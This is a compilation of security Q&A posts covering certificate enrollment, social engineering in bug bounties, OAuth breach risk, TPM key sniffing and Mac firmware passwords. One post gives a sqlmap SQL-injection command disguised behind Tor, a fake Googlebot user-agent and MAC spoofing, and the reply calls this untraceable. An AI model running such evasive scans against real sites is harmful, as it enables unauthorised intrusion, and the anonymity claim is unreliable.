If you dont have any administration suite and no possibility to identify users today, I would suggest manual enrollment. This can be done by setting up a password protected enroll page that only you as a administrator know the password of, and then you physically visit each user and enroll them.

Installing a one-time certificate is a unneccessary step, since you would still have to verify the users prior to installing the one-time certificate. And if you have verified the users as authorized, then you dont need to take the step of installing a one-time certificate.

If the users are located not so near, you need to establish Another way to verify the users. Lets say the users need to call the "Helpdesk" to get a account, and verify themselves with a customer representative. Then you could make a page where they have to enter a 8 digit "enrollment ID" that you give to them over the phone after successful verify. This enrollment ID could have a validity of about 5 minutes giving maximal security.
You could even have a challenge that they have to read to you, you enter all details that should be written in certificate, they get a response, and they have to type the response to get their cert enrolled.


Why is social engineering often excluded from bug bounties? I noticed a lot of companies do not have social engineering as in-scope of bug bounties/responsible disclosure guidelines, even though it is often used in real-world attacks. I understand that for popular bug bounty programs the amount of social engineering attempts would probably become problematic, but for small companies I would see it as beneficial to once in a while have someone try to get into the systems via social engineering as this would keep everyone sharp.
Are there reasons I am missing here for excluding this from allowed methods?

Because Human Factor vulnerabilities are complex, undefined, non-linear, and often not repeatable in a predictable way. Being able to successfully soceng one person is not enough for an organisation to use as a basis for action. In short, if you could do a soceng test, the results would not be useful.
SQLi on a web form, on the other hand, is simple, defined, linear, and the results are repeatable.
Bug bounties are for technical issues, not "all possible issues that could possibly go wrong".
SocEng also creates massive liabilities that include the individual, and that brings in a host of other issues. How far do you go? How much personal information do you gather and weaponise? How do you get permission from the person and still keep the test legitimate? Permission alone places this activity beyond a simple bug bounty program.
Testing Human Factor vulnerabilities has to be done carefully, by professionals who know what they are doing, and the scope is very tightly defined. That's why soceng tests tend to keep to phishing simulations; it's very complex and there are a lot of side factors to take into account. It's not something for some random bug bounty tester to go mucking around with.


Using third party authentication like google/facebook to login to a site, is there any security risk when the site is hacked? Sites like stackoverflow, quora, and many more offers sign in from Google/Facebook. In the event that there is a data breach or the site is hacked, is there any security risk to your Google/Facebook account?

If the application keys is leaked after the website being hacked, the attacker can act on the permissions authorized by you to the targeted site. Like if you have authorized the site to manage your google drive then they can view your google drive so similar abuse can be carried out with facebook and other oauth compliant websites.


Securely read encryption key from NVRAM of TPM 1.2 I have configured a disk encryption in linux using LUKS with TPM with secure boot.

The encryption key is loaded from TPM from NV memory using command TPM_NV_ReadValueAuth.

The problem is that it is read as a clear text and it can be captured on LPC bus with a cheap logical analyser.

My assumption is that the attacker can have physical access to HW and therefore would be able to get the key and decrypt disk.

How to avoid sending clear text key from TPM and avoid eavesdropping or sniffing the key traveling from TPM to RAM?

I don't think this problem can be solved, as someone capable of soldering wires to the LPC bus can solder them to the memory modules and get the keys from memory.

The best alternative I know about is to simply keep the keys separate from the machine, like on a flash drive and only connecting it when necessary after making sure the machine hasn't been tampered with. That way, someone stealing the machine has no way of decrypting its storage, no matter how hard he tries (excluding quantum computers).


Is sqlmap traceable? Is sqlmap still traceable when we use --tor --user-agent and macchanger?

For example:

sqlmap -u "[vulnerable_website_link]" --tor --user-agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" with macchanger.

No. The traffic is tunnelled through ToR, so it is just as untraceable as any other use of ToR. In practice you are not traceable at all, unless you make some silly mistake like including your real name in a request.


Advantages of Enabling Firmware Password Protection What security advantages, if any, would be gained by enabling Firmware Password Protection on a mac that allready has filevault encryption for the disk?

Setting a firmware password prevents your Mac from starting up from any device other than the built in hard drive.

Even if the contents of the hard drive are encrypted, the attacker could still modify the boot sector or copy the contents of the drive.